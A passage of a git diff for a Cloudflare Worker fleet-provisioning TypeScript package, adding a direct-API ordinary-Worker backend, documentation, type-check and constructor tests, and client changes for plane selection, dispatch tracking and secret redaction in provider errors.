`/accounts/{account_id}/workers/dispatch/namespaces` for destructive attachment scans, even for a plain-only client +- `/accounts/{account_id}/d1/database` and nested query and export routes +- `/accounts/{account_id}/r2/buckets` and nested object-list routes when application R2 is enabled +- `/user/tokens/verify`, account or user token-policy reads, account-filtered `/zones`, and `/zones/{zone_id}/workers/routes` +- the provider-issued HTTPS export URL, without the Cloudflare authorization header + +Every provider page and request reserves shared quota, and every inventory has a hard item bound. An over-bound inventory fails instead of truncating. Under Workers for Platforms, namespace-list failures, including `404`, propagate and block destructive teardown. Under a plain-only client, only a first-page `404` or an exhaustive empty result proves that no dispatch namespace exists; a later `404` and every other failure block destructive D1 or R2 teardown. + +The SDK runs with logging disabled even when `CLOUDFLARE_LOG` requests debug output. Upload errors replace intent secret values before the error enters a mutation outcome. Database export failures discard provider messages, response bodies, headers, signed URLs, and original causes. The signed URL is parsed, downloaded with redirects disabled and no authorization header, hashed, and compared with the durable store's committed size and digest inside one redaction boundary. + +Unset `CLOUDFLARE_CUSTOM_HEADERS` in the provisioning host unless every configured header is intended for all SDK requests. Cloudflare SDK 7 reads that process variable as ambient default headers, outside the backend's explicit options. + +Hardening of the provisioning host itself does not weaken the token, log, pagination, or destructive-scan requirements above. + ### One organization per resource set A data-plane Worker serves one organization. Its D1 database, Durable Object namespaces, fleet-owned application R2 buckets, and secrets must not be shared with another organization. A shared audit queue is allowed only behind trusted infrastructure that derives attribution from static deployment bindings; externally authored code receives neither its producer binding nor reusable control-plane credentials. diff --git a/packages/fleet-control/README.md b/packages/fleet-control/README.md index 30effda4..da9e1477 100644 --- a/packages/fleet-control/README.md +++ b/packages/fleet-control/README.md @@ -2,7 +2,7 @@ # Operate the isolated deployment fleet -`@proofoftech/fleet-control` is the trusted control-plane package for physically isolated deployments. It contains staged Wrangler Versions and Workers for Platforms backends, fenced durable fleet state, resumable provisioning and decommissioning, content-addressed external release promotion and schema-compatible rollback, authoritative bidirectional inventory, durable export sinks, and the shared platform Workers. +`@proofoftech/fleet-control` is the trusted control-plane package for physically isolated deployments. It contains direct Cloudflare API and staged Wrangler ordinary-Worker backends, a Workers for Platforms backend, fenced durable fleet state, resumable provisioning and decommissioning, content-addressed external release promotion and schema-compatible rollback, authoritative bidirectional inventory, durable export sinks, and the shared platform Workers. Read [Provision physically isolated deployments](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md) for the supported lifecycle, security boundary, and credentialed conformance gate. @@ -43,9 +43,19 @@ Fleet Control does not install a runtime Wrangler dependency. Keep the selected The three Worker exports are deployment artifacts for the platform's own Workers, not helpers to import into an application Worker. +Choose a backend from the artifact trust boundary and the provider integration available to your control plane: + +| Backend | Use it when | +| --- | --- | +| `CloudflareApiPlainWorkerBackend` | Platform-authored ordinary Workers should use Cloudflare APIs without a Wrangler process | +| `WranglerLoopBackend` | Platform-authored ordinary Workers can use a host-provided Wrangler `>=4.118 <5` command | +| `WorkersForPlatformsBackend` | External project releases require an untrusted dispatch namespace and isolated trusted state | + +Construct `CloudflareApiPlainWorkerBackend` with a `CloudflareProvisioningClient` whose options include `plane: 'plain-worker'`, a shared rate coordinator, and a durable `exportStore`. Plain-only clients reject any `dispatchNamespace` key. + Construct `WorkersForPlatformsBackend` with a dispatch namespace, one named shared outbound Worker, and a state-egress root secret. All three values are mandatory. The constructor rejects an incomplete dispatch-native configuration before it can call a provider. -`PlainWorkerBackend` is the shared ordinary-Worker core that `WranglerLoopBackend` wraps. It is not intended for subclassing outside Fleet Control. +`PlainWorkerBackend` is the shared ordinary-Worker core that both built-in ordinary-Worker backends wrap. It is not intended for subclassing outside Fleet Control. An ordinary state Worker can exist only as the finalized result of the dedicated plain-to-Workers-for-Platforms switch. Pass its narrow finalized-state provider back to provision, migration, and rollback operations. That provider exact-inspects and advances the retained bridge without allowing the normal backend to originate ordinary state resources. diff --git a/packages/fleet-control/scripts/credentialed-conformance.mjs b/packages/fleet-control/scripts/credentialed-conformance.mjs index 71a40b17..c9729ee4 100644 --- a/packages/fleet-control/scripts/credentialed-conformance.mjs +++ b/packages/fleet-control/scripts/credentialed-conformance.mjs @@ -288,7 +288,11 @@ const client = new CloudflareProvisioningClient({ }); // This narrow read client sits outside the client's coordinated fetch path. // One explicit acquire therefore covers exactly one SDK request, with no retry. -const cloudflare = new Cloudflare({ apiToken, maxRetries: 0 }); +const cloudflare = new Cloudflare({ + apiToken, + logLevel: 'off', + maxRetries: 0, +}); const backend = new WorkersForPlatformsBackend({ client, hostRoutingKvId: config.hostRoutingKvId, diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index 19a1d5d4..5cd7e44a 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -182,6 +182,7 @@ try { join(consumerDirectory, 'consumer.ts'), `import { ActiveRouteAttestationError, + CloudflareApiPlainWorkerBackend, CloudflareProvisioningClient, D1CloudflareApiRateCoordinator, PlainWorkerBackend, @@ -203,6 +204,7 @@ try { type ActiveRouteAttestation, type ActiveRouteExpectation, type AttestConvergedActiveRouteOptions, + type CloudflareApiPlainWorkerBackendOptions, type CloudflareApiRateCoordinator, type DeploymentEgressPolicy, type DeploymentSpec, @@ -259,6 +261,17 @@ const plainWorkerBackendOptions: PlainWorkerBackendOptions = { const plainWorkerBackend: ProvisioningBackend = new PlainWorkerBackend( plainWorkerBackendOptions, ); +const directClient = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'token', + plane: 'plain-worker', + rateCoordinator: new ProcessLocalCloudflareApiRateCoordinator(), +}); +const directBackendOptions: CloudflareApiPlainWorkerBackendOptions = { + client: directClient, +}; +const directBackend: ProvisioningBackend = + new CloudflareApiPlainWorkerBackend(directBackendOptions); type PlainWorkerPortRecords = readonly [ PlainWorkerCleanupOutcome, PlainWorkerDatabaseExportResult, @@ -332,6 +345,7 @@ const settlementHost: FleetSettlementHost = { }; void ActiveRouteAttestationError; +void CloudflareApiPlainWorkerBackend; void CloudflareProvisioningClient; void D1CloudflareApiRateCoordinator; void PlainWorkerBackend; @@ -366,6 +380,9 @@ void plainWorkerRouteApi; void plainWorkerProvisioningApiShape; void plainWorkerBackendOptions; void plainWorkerBackend; +void directClient; +void directBackendOptions; +void directBackend; void plainWorkerPortRecords; void initialExecutionFenceState; void lockedAtBirth; @@ -387,6 +404,7 @@ void settlementHost; `import assert from 'node:assert/strict'; import { ActiveRouteAttestationError, + CloudflareProvisioningClient, ProcessLocalCloudflareApiRateCoordinator, ProvisioningError, WorkersForPlatformsBackend, @@ -418,6 +436,34 @@ assert.ok(new ActiveRouteAttestationError('probe', {}) instanceof Error); assert.equal(typeof attestConvergedActiveRoute, 'function'); assert.equal(typeof attestFleetRecordActiveRoute, 'function'); assert.equal(typeof fleetSettlementKey, 'function'); +assert.throws( + () => + new CloudflareProvisioningClient({ + accountId: 'a', + apiToken: 't', + plane: 'plain-worker', + dispatchNamespace: 'x', + rateCoordinator: new ProcessLocalCloudflareApiRateCoordinator(), + }), + /plain-worker plane cannot name a dispatch namespace/, +); +assert.throws( + () => + new CloudflareProvisioningClient({ + accountId: 'a', + apiToken: 't', + rateCoordinator: new ProcessLocalCloudflareApiRateCoordinator(), + }), + /dispatchNamespace/, +); +assert.ok( + new CloudflareProvisioningClient({ + accountId: 'a', + apiToken: 't', + plane: 'plain-worker', + rateCoordinator: new ProcessLocalCloudflareApiRateCoordinator(), + }), +); // The trusted-configuration constructor must fail closed. This is the barrier // that makes a published fleet-control inert without control-plane inputs, so diff --git a/packages/fleet-control/src/cloudflare-api-plain-worker-backend.ts b/packages/fleet-control/src/cloudflare-api-plain-worker-backend.ts new file mode 100644 index 00000000..f50573eb --- /dev/null +++ b/packages/fleet-control/src/cloudflare-api-plain-worker-backend.ts @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { CloudflareApiPlainWorkerProvisioningApi } from './cloudflare-api-plain-worker-provisioning-api.js'; +import { CloudflareProvisioningClient } from './cloudflare-client.js'; +import { PlainWorkerBackend } from './plain-worker-backend.js'; + +/** Options for the direct Cloudflare API ordinary-Worker backend. */ +export interface CloudflareApiPlainWorkerBackendOptions { + /** + * Plain-Worker Cloudflare client. Database teardown also requires the client + * to have been constructed with a durable database export store. + */ + readonly client: CloudflareProvisioningClient; + readonly fetch?: typeof fetch; + readonly maintenanceRequestTimeoutMs?: number; + /** Stamps `observedAt` on an attestation. Injected so it can be pinned. */ + readonly clock?: () => number; +} + +/** + * Ordinary-Worker backend that uses Cloudflare APIs without invoking Wrangler. + * + * It preserves the reconciliation, ingress, maintenance, promotion, and + * teardown policy documented by {@link PlainWorkerBackend}. Construct the + * client with `plane: 'plain-worker'`; a dispatch namespace is neither needed + * nor accepted. D1 deletion remains fail closed when the account cannot + * enumerate Workers for Platforms namespaces during attachment scans. + * + * A failed upload reconciled by tag rediscovery is accepted only when the + * Worker footprint attests the intended workers.dev and preview-URL state. + * Cloudflare error `10220` can also prevent a deployment when secrets changed + * since the uploaded version. + */ +export class CloudflareApiPlainWorkerBackend extends PlainWorkerBackend { + constructor(options: CloudflareApiPlainWorkerBackendOptions) { + if (!(options.client instanceof CloudflareProvisioningClient)) { + throw new TypeError( + 'client must be a CloudflareProvisioningClient instance', + ); + } + super({ + api: new CloudflareApiPlainWorkerProvisioningApi({ + client: options.client, + }), + identityCaller: 'CloudflareApiPlainWorkerBackend.seedDeploymentIdentity', + fetch: options.fetch, + maintenanceRequestTimeoutMs: options.maintenanceRequestTimeoutMs, + clock: options.clock, + }); + } +} diff --git a/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts b/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts new file mode 100644 index 00000000..c2b64b1d --- /dev/null +++ b/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts @@ -0,0 +1,289 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + CloudflareProviderRequestNotDispatchedError, + type CloudflareProvisioningClient, + withProviderDispatchTracking, +} from './cloudflare-client.js'; +import type { + DatabaseReference, + ExternalMutationFence, + OrdinaryWorkerDeploymentVersion, + PlainWorkerDatabaseExportResult, + PlainWorkerDatabaseInventoryEntry, + PlainWorkerDeploymentStatus, + PlainWorkerMutationOutcome, + PlainWorkerProvisioningApi, + PlainWorkerUploadIntent, + PlainWorkerUploadOutcome, + PlainWorkerVersionDetail, + PlainWorkerVersionSummary, +} from './types.js'; + +export class CloudflareApiPlainWorkerProvisioningApi + implements PlainWorkerProvisioningApi +{ + readonly #client: CloudflareProvisioningClient; + readonly maxMutationDurationMs: number; + readonly supportsExactDatabaseDeletion = true; + readonly listWorkerR2Attachments: NonNullable< + PlainWorkerProvisioningApi['listWorkerR2Attachments'] + >; + readonly getR2Bucket: NonNullable; + readonly createR2Bucket: NonNullable< + PlainWorkerProvisioningApi['createR2Bucket'] + >; + readonly assertR2BucketEmpty: NonNullable< + PlainWorkerProvisioningApi['assertR2BucketEmpty'] + >; + readonly deleteR2Bucket: NonNullable< + PlainWorkerProvisioningApi['deleteR2Bucket'] + >; + + constructor(options: { readonly client: CloudflareProvisioningClient }) { + this.#client = options.client; + this.maxMutationDurationMs = options.client.requestTimeoutMs; + this.listWorkerR2Attachments = options.client.listWorkerR2Attachments.bind( + options.client, + ); + this.getR2Bucket = options.client.getR2Bucket.bind(options.client); + this.createR2Bucket = options.client.createR2Bucket.bind(options.client); + this.assertR2BucketEmpty = options.client.assertR2BucketEmpty.bind( + options.client, + ); + this.deleteR2Bucket = options.client.deleteR2Bucket.bind(options.client); + } + + withMutationFence( + fence: ExternalMutationFence, + operation: () => Promise, + ): Promise { + return this.#client.withMutationFence(fence, operation); + } + + queryDatabase( + databaseId: string, + sql: string, + bindings?: readonly string[], + ): Promise>[]> { + return this.#client.queryDatabase(databaseId, sql, bindings); + } + + batchDatabase( + databaseId: string, + statements: readonly { + readonly sql: string; + readonly bindings?: readonly string[]; + }[], + ): Promise { + return this.#client.batchDatabase(databaseId, statements); + } + + listWorkerDatabaseAttachments( + databaseId: string, + ): ReturnType { + return this.#client.listWorkerDatabaseAttachments(databaseId); + } + + inspectActiveWorkerRoute( + scriptName: string, + ): ReturnType { + return this.#client.inspectActiveWorkerRoute(scriptName); + } + + listCustomDomains(): ReturnType< + PlainWorkerProvisioningApi['listCustomDomains'] + > { + return this.#client.listCustomDomains(); + } + + inspectOrdinaryWorkerFootprint( + scriptName: string, + ): ReturnType { + return this.#client.inspectOrdinaryWorkerFootprint(scriptName); + } + + listDurableObjectNamespaces( + scriptName: string, + ): ReturnType { + return this.#client.listDurableObjectNamespaces(scriptName); + } + + listOrdinaryWorkerSecretNames( + scriptName: string, + ): ReturnType { + return this.#client.listOrdinaryWorkerSecretNames(scriptName); + } + + deleteControlSecrets( + scriptName: string, + secretNames: readonly string[], + fence: ExternalMutationFence, + ): Promise { + return this.#client.deleteControlSecrets(scriptName, secretNames, fence); + } + + attachCustomDomain( + target: { readonly hostname: string; readonly service: string }, + fence: ExternalMutationFence, + ): Promise { + return this.#client.attachCustomDomain(target, fence); + } + + detachCustomDomain( + domainId: string, + fence: ExternalMutationFence, + ): Promise { + return this.#client.detachCustomDomain(domainId, fence); + } + + disableOrdinaryWorkerPublicAccess( + scriptName: string, + fence: ExternalMutationFence, + ): Promise { + return this.#client.disableOrdinaryWorkerPublicAccess(scriptName, fence); + } + + listDatabases(): Promise { + return this.#client.listOrdinaryWorkerDatabases(); + } + + getDatabase(databaseId: string): Promise { + return this.#client.getDatabase(databaseId); + } + + async createDatabase( + name: string, + fence: ExternalMutationFence, + ): Promise { + await fence.assertOwned(); + return this.#client.withMutationFence(fence, async () => { + try { + await withProviderDispatchTracking(this.#client, () => + this.#client.createDatabase(name), + ); + return { status: 'succeeded' }; + } catch (error) { + if (error instanceof CloudflareProviderRequestNotDispatchedError) { + throw error.cause; + } + await fence.assertOwned(); + return { status: 'failed', error }; + } + }); + } + + deleteDatabaseFenced( + databaseId: string, + fence: ExternalMutationFence, + ): Promise { + // No separate pre-assert: like the command adapter, the transport asserts + // immediately before dispatch so assertion counts stay identical. + return this.#client.withMutationFence(fence, () => + this.#client.deleteDatabase(databaseId), + ); + } + + deploymentStatus( + scriptName: string, + ): Promise { + return this.#client.ordinaryWorkerDeploymentStatus(scriptName); + } + + listVersions( + scriptName: string, + ): Promise { + return this.#client.listOrdinaryWorkerVersions(scriptName); + } + + viewVersion( + scriptName: string, + versionId: string, + ): Promise { + return this.#client.viewOrdinaryWorkerVersion(scriptName, versionId); + } + + findVersion( + scriptName: string, + versionId: string, + ): Promise { + return this.#client.findOrdinaryWorkerVersion(scriptName, versionId); + } + + async uploadCandidate( + intent: PlainWorkerUploadIntent, + fence: ExternalMutationFence, + ): Promise { + const prepared = await this.#client.prepareOrdinaryWorkerUpload(intent); + await fence.assertOwned(); + return this.#client.withMutationFence(fence, async () => { + try { + await withProviderDispatchTracking(this.#client, () => + this.#client.dispatchOrdinaryWorkerUpload(prepared), + ); + return { status: 'succeeded', cleanup: { status: 'succeeded' } }; + } catch (error) { + if (error instanceof CloudflareProviderRequestNotDispatchedError) { + throw error.cause; + } + await fence.assertOwned(); + return { + status: 'failed', + error, + cleanup: { status: 'succeeded' }, + }; + } + }); + } + + async createDeployment( + scriptName: string, + versions: readonly OrdinaryWorkerDeploymentVersion[], + fence: ExternalMutationFence, + ): Promise { + const prepared = this.#client.prepareOrdinaryWorkerDeployment(versions); + await fence.assertOwned(); + return this.#client.withMutationFence(fence, async () => { + try { + await withProviderDispatchTracking(this.#client, () => + this.#client.dispatchOrdinaryWorkerDeployment(scriptName, prepared), + ); + return { status: 'succeeded' }; + } catch (error) { + if (error instanceof CloudflareProviderRequestNotDispatchedError) { + throw error.cause; + } + await fence.assertOwned(); + return { status: 'failed', error }; + } + }); + } + + async deleteWorkerScript( + scriptName: string, + fence: ExternalMutationFence, + ): Promise<'deleted' | 'absent'> { + await fence.assertOwned(); + return this.#client.withMutationFence(fence, () => + this.#client.deleteOrdinaryWorkerScript(scriptName), + ); + } + + async exportDatabase( + database: { readonly id: string; readonly name: string }, + fence: ExternalMutationFence, + ): Promise { + await fence.assertOwned(); + // The SDK transport asserts on every export poll, unlike the command + // adapter's single assertion. Its store filename is `${database.id}-…` + // rather than `${database.name}-…`; shared tests compare neither fact. + const exported = await this.#client.withMutationFence(fence, () => + this.#client.exportDatabase(database.id), + ); + return { + location: exported.location, + size: exported.size, + sha256: exported.sha256, + }; + } +} diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 4434d4b9..61d49467 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -2,7 +2,10 @@ import { AsyncLocalStorage } from 'node:async_hooks'; import { createHash } from 'node:crypto'; -import Cloudflare from 'cloudflare'; +import Cloudflare, { APIConnectionError, APIError } from 'cloudflare'; +import type { ScriptUpdateParams } from 'cloudflare/resources/workers/scripts/scripts'; +import type { VersionCreateParams } from 'cloudflare/resources/workers/scripts/versions'; +import type { NamespaceListResponse } from 'cloudflare/resources/workers-for-platforms/dispatch/namespaces/namespaces'; import { toFile } from 'cloudflare/uploads'; import PQueue from 'p-queue'; import { ActiveRouteAttestationError } from './active-route.js'; @@ -21,8 +24,14 @@ import { FLEET_AUDIT_PROXY_STATE_BINDING, } from './platform-resources.js'; import { + assertOrdinaryWorkerDeploymentVersions, assertProviderBindingIdentitiesMatchInspection, assertSupportedProviderBindings, + providerBindingsToPlainWorkerShape, + readArrayField, + readField, + readStringField, + uploadIntentToProviderBindings, } from './provider-binding-inventory.js'; import { deploymentSpecDigest } from './spec-digest.js'; import type { @@ -32,7 +41,13 @@ import type { DeploymentSpec, ExternalMutationFence, FleetResourceInventory, + OrdinaryWorkerDeploymentVersion, + PlainWorkerDatabaseInventoryEntry, + PlainWorkerDeploymentStatus, PlainWorkerRouteApi, + PlainWorkerUploadIntent, + PlainWorkerVersionDetail, + PlainWorkerVersionSummary, PromotionGuard, ProviderBindingIdentity, ScriptInventoryTarget, @@ -45,6 +60,10 @@ const AUDIT_CONSUMER_SETTINGS = Object.freeze({ max_wait_time_ms: 5_000, }); const SDK_TRANSPORT_TIMEOUT_MS = 2_147_483_647; +const DEFAULT_INVENTORY_BOUND = 10_000; +const MAX_DATABASE_INVENTORY = 25_000; +const MAX_VERSION_INVENTORY = 5_000; +const MAX_SANITIZED_ERROR_CAUSE_DEPTH = 8; export interface CloudflareClientOptions { readonly accountId: string; @@ -57,6 +76,24 @@ export interface CloudflareClientOptions { readonly exportStore?: DurableDatabaseExportStore; } +export type PlainWorkerCloudflareClientOptions = Omit< + CloudflareClientOptions, + 'dispatchNamespace' +> & { readonly plane: 'plain-worker' }; + +export class CloudflarePlaneCapabilityError extends Error { + readonly operation: string; + readonly requiredPlane = 'workers-for-platforms' as const; + + constructor(operation: string) { + super( + `Cloudflare operation '${operation}' requires the workers-for-platforms plane`, + ); + this.name = 'CloudflarePlaneCapabilityError'; + this.operation = operation; + } +} + export interface DurableDatabaseExportStore { write(input: { readonly databaseId: string; @@ -220,6 +257,191 @@ function tagValue(tags: readonly string[], prefix: string): string | undefined { } type CloudflareSdk = InstanceType; +type StagedOrdinaryWorkerUploadMetadata = VersionCreateParams.Metadata & { + readonly limits?: { readonly cpu_ms: number }; +}; +type OrdinaryWorkerUploadMetadata = + | (ScriptUpdateParams.Metadata & { + readonly limits?: { readonly cpu_ms: number }; + }) + | StagedOrdinaryWorkerUploadMetadata; +const PREPARED_ORDINARY_WORKER_UPLOAD: unique symbol = Symbol( + 'fleet-control.preparedOrdinaryWorkerUpload', +); +const PREPARED_ORDINARY_WORKER_DEPLOYMENT_VERSIONS: unique symbol = Symbol( + 'fleet-control.preparedOrdinaryWorkerDeploymentVersions', +); +/** @inline */ +type PreparedOrdinaryWorkerUpload = Readonly<{ + [PREPARED_ORDINARY_WORKER_UPLOAD]: true; + intent: PlainWorkerUploadIntent; + files: readonly File[]; + metadata: string; + secretValues: readonly string[]; +}>; +/** @inline */ +type PreparedOrdinaryWorkerDeploymentVersions = readonly Readonly<{ + percentage: number; + version_id: string; +}>[] & { + readonly [PREPARED_ORDINARY_WORKER_DEPLOYMENT_VERSIONS]: true; +}; + +export class CloudflareProviderRequestNotDispatchedError extends Error { + constructor(cause: unknown) { + super('Cloudflare provider request was not dispatched', { cause }); + this.name = 'CloudflareProviderRequestNotDispatchedError'; + } +} + +function readWorkerVersionTag(version: unknown): string | undefined { + return readStringField(readField(version, 'annotations'), 'workers/tag'); +} + +function redactSecretValues( + value: string, + secretValues: readonly string[], +): string { + return secretValues.reduce( + (redacted, secret) => + secret.length > 0 ? redacted.split(secret).join('[redacted]') : redacted, + value, + ); +} + +function readErrorFieldSafely( + value: unknown, + key: 'cause' | 'constructor' | 'message' | 'name' | 'status', +): unknown { + // A consumer-injected rejection can still be instanceof Error with doctored + // or throwing fields; the redaction boundaries must not throw while reading. + try { + return Reflect.get(value as object, key); + } catch { + return undefined; + } +} + +function isErrorSafely(value: unknown): value is Error { + // For object values, `value instanceof Error` walks [[GetPrototypeOf]]; a + // Proxy trap or revoked Proxy can throw and replace the sanitized failure, + // so every Error check on the foreign cause graph uses this predicate. + try { + return value instanceof Error; + } catch { + return false; + } +} + +function sanitizedErrorName(error: unknown): string { + const name = readErrorFieldSafely(error, 'name'); + const directName = typeof name === 'string' ? name : undefined; + const nameFromConstructor = readErrorFieldSafely( + isErrorSafely(error) + ? readErrorFieldSafely(error, 'constructor') + : undefined, + 'name', + ); + const constructorName = + typeof nameFromConstructor === 'string' ? nameFromConstructor : undefined; + const candidate = + directName && directName !== 'Error' + ? directName + : (constructorName ?? directName); + return candidate && /^[A-Za-z][A-Za-z0-9]*Error$/.test(candidate) + ? candidate + : 'unknown'; +} + +function sanitizedErrorCause( + error: Error, + secretValues: readonly string[], + depth = 0, + seen = new WeakMap(), +): Error { + // This boundary never throws on the values it receives: cycles, depth, + // non-string messages, throwing accessors, and hostile prototypes all + // degrade to safe values. Fresh Errors copy safe values. + const name = sanitizedErrorName(error); + seen.set(error, name); + const cause = readErrorFieldSafely(error, 'cause'); + const message = readErrorFieldSafely(error, 'message'); + let sanitizedCause: Error | { name: string } | undefined; + if (isErrorSafely(cause)) { + const memoized = seen.get(cause); + sanitizedCause = + memoized !== undefined + ? { name: memoized } + : depth + 1 >= MAX_SANITIZED_ERROR_CAUSE_DEPTH + ? { name: sanitizedErrorName(cause) } + : sanitizedErrorCause(cause, secretValues, depth + 1, seen); + } + const sanitized = new Error( + typeof message === 'string' + ? redactSecretValues(message, secretValues) + : '', + sanitizedCause === undefined ? undefined : { cause: sanitizedCause }, + ); + sanitized.name = name; + return sanitized; +} + +function sanitizeProviderError( + error: unknown, + secretValues: readonly string[], +): unknown { + // Wrapped paths supply an SDK-constructed operand. A value that escapes when + // the SDK itself throws on the rejection before wrapping it (castToError's + // instanceof, internal/errors.mjs:11; the String()/in coercions at + // client.mjs:389-390) is outside this boundary's no-throw promise. + if (!(error instanceof APIError)) return error; + const sanitized = new Error('Cloudflare Worker upload failed'); + sanitized.name = 'CloudflareProviderError'; + Object.defineProperties(sanitized, { + status: { enumerable: true, value: error.status }, + errors: { + enumerable: true, + value: (Array.isArray(error.errors) ? error.errors : []).flatMap( + (entry) => { + if (!entry || typeof entry !== 'object') return []; + const code = readField(entry, 'code'); + const message = readField(entry, 'message'); + return [ + { + ...(typeof code === 'number' || typeof code === 'string' + ? { code } + : {}), + ...(typeof message === 'string' + ? { message: redactSecretValues(message, secretValues) } + : {}), + }, + ]; + }, + ), + }, + cause: { + enumerable: false, + // APIConnectionError keeps a cause chain because, for a rejected fetch, + // that chain is the fence or transport failure the adapter classifies + // through. The SDK drops the underlying error on its timeout arm + // (APIConnectionTimeoutError is constructed without a cause, + // core/error.mjs:81-85), so that chain is one constant level. Every other + // APIError (a provider response or the SDK's own abort error) collapses + // to { name }. + value: + error instanceof APIConnectionError + ? sanitizedErrorCause(error, secretValues) + : { name: sanitizedErrorName(error) }, + }, + }); + return sanitized; +} + +function inventoryBoundExceeded(label: string, max: number): Error { + return new Error( + `${label} exceeded the supported inventory bound of ${max} items`, + ); +} const REQUIRED_ZONE_PERMISSION_GROUPS = [ ['Zone Read'], @@ -431,21 +653,66 @@ async function hashExport( return { sha256: hash.digest('hex'), size }; } +let trackProviderDispatch: ( + client: CloudflareProvisioningClient, + operation: () => Promise, +) => Promise; + +/** + * Runs `operation`; rejects with + * `CloudflareProviderRequestNotDispatchedError` (`cause` = the failure) when it + * fails before any provider mutation request was invoked. Provider reads do + * not count. Not re-entrant: one scope per outcome member. A nested scope + * shadows the outer store, so a mutation dispatched inside it leaves the outer + * tracker unmarked and a later outer failure is misclassified as pre-dispatch. + */ +export function withProviderDispatchTracking( + client: CloudflareProvisioningClient, + operation: () => Promise, +): Promise { + return trackProviderDispatch(client, operation); +} + export class CloudflareProvisioningClient implements PlainWorkerRouteApi { readonly #accountId: string; readonly #apiToken: string; - readonly #dispatchNamespace: string; + readonly #dispatchNamespace: string | undefined; readonly #client: CloudflareSdk; readonly #operationQueue: PQueue; readonly #requestQueue: PQueue; readonly #rateCoordinator: CloudflareApiRateCoordinator; readonly #exportStore: DurableDatabaseExportStore | undefined; readonly #fetch: typeof fetch; + readonly #dispatchTracker = new AsyncLocalStorage<{ dispatched: boolean }>(); readonly #mutationFence = new AsyncLocalStorage(); readonly #requestTimeoutMs: number; - constructor(options: CloudflareClientOptions) { - if (!options.accountId || !options.apiToken || !options.dispatchNamespace) { + static { + // This module-private friend keeps dispatch classification out of the + // public class; by convention only the direct ordinary-Worker adapter + // enters it, and Workers for Platforms callers never do. + trackProviderDispatch = (client, operation) => + client.#trackDispatch(operation); + } + + constructor( + options: CloudflareClientOptions | PlainWorkerCloudflareClientOptions, + ) { + if ('plane' in options) { + if (options.plane !== 'plain-worker') { + throw new Error('unsupported Cloudflare client plane'); + } + if (!options.accountId || !options.apiToken) { + throw new Error('accountId and apiToken are required'); + } + if ('dispatchNamespace' in options) { + throw new Error('plain-worker plane cannot name a dispatch namespace'); + } + } else if ( + !options.accountId || + !options.apiToken || + !options.dispatchNamespace + ) { throw new Error( 'accountId, apiToken, and dispatchNamespace are required', ); @@ -455,7 +722,8 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } this.#accountId = options.accountId; this.#apiToken = options.apiToken; - this.#dispatchNamespace = options.dispatchNamespace; + this.#dispatchNamespace = + 'plane' in options ? undefined : options.dispatchNamespace; const concurrency = options.concurrency ?? 8; if (!Number.isInteger(concurrency) || concurrency < 1) { throw new Error('concurrency must be a positive integer'); @@ -472,12 +740,14 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ) { throw new Error('requestTimeoutMs must be a positive integer'); } - const rateLimitedFetch: typeof fetch = async (input, init) => { - return this.#request(input, init); - }; + const rateLimitedFetch: typeof fetch = (input, init) => + this.#request(input, init); this.#client = new Cloudflare({ apiToken: options.apiToken, fetch: rateLimitedFetch, + // An injected logger cannot be disabled independently, so the client + // option must override CLOUDFLARE_LOG before credentials reach the SDK. + logLevel: 'off', maxRetries: 2, // The SDK timeout starts before its custom transport. Apply the real // timeout after shared quota acquisition so replica coordination cannot @@ -486,6 +756,11 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }); } + /** Configured provider request timeout in milliseconds. */ + get requestTimeoutMs(): number { + return this.#requestTimeoutMs; + } + async #request( input: string | URL | Request, init?: RequestInit, @@ -493,13 +768,20 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { const method = ( init?.method ?? (input instanceof Request ? input.method : 'GET') ).toUpperCase(); + const mutation = method !== 'GET' && method !== 'HEAD'; + // These reads are deliberately redundant with the request-queue binding + // for explicit call-time capture. The binding stays required for consumer + // callbacks (injected fetch, assertOwned, and acquire); the 'runs a queued + // request under its enqueuer context' case in + // test/cloudflare-client-plain-worker.test.ts pins it. const fence = this.#mutationFence.getStore(); + const tracker = this.#dispatchTracker.getStore(); const signal = init?.signal ?? (input instanceof Request ? input.signal : undefined); const response = await this.#requestQueue.add( - async () => { + this.#inEnqueuerContext(async () => { await this.#rateCoordinator.acquire(signal); - if (method !== 'GET' && method !== 'HEAD') { + if (mutation) { if (!fence) { throw new Error( `Cloudflare ${method} request requires an external mutation fence`, @@ -508,13 +790,16 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { await fence.assertOwned(); } const timeoutSignal = AbortSignal.timeout(this.#requestTimeoutMs); + // Mark only after quota and fence checks. The SDK's `data:` FormData + // probe is a GET, so it neither asserts nor marks. + if (mutation && tracker) tracker.dispatched = true; return this.#fetch(input, { ...init, signal: signal ? AbortSignal.any([signal, timeoutSignal]) : timeoutSignal, }); - }, + }), { signal }, ); if (!response) { @@ -524,7 +809,52 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } async #schedule(operation: () => Promise): Promise { - return (await this.#operationQueue.add(operation)) as T; + return (await this.#operationQueue.add( + this.#inEnqueuerContext(operation), + )) as T; + } + + #inEnqueuerContext(operation: () => Promise): () => Promise { + // p-queue starts a deferred task from the previous task's microtask, so a + // bare callback would run under the previous operation's context. The + // operation queue's hop precedes every read in #request; the request + // queue's hop runs consumer callbacks that must observe their operation. + const run = AsyncLocalStorage.snapshot(); + return () => run(operation); + } + + async #trackDispatch(operation: () => Promise): Promise { + const tracker = { dispatched: false }; + try { + return await this.#dispatchTracker.run(tracker, operation); + } catch (error) { + if (!tracker.dispatched) { + throw new CloudflareProviderRequestNotDispatchedError(error); + } + throw error; + } + } + + async *#collectBounded( + iterable: 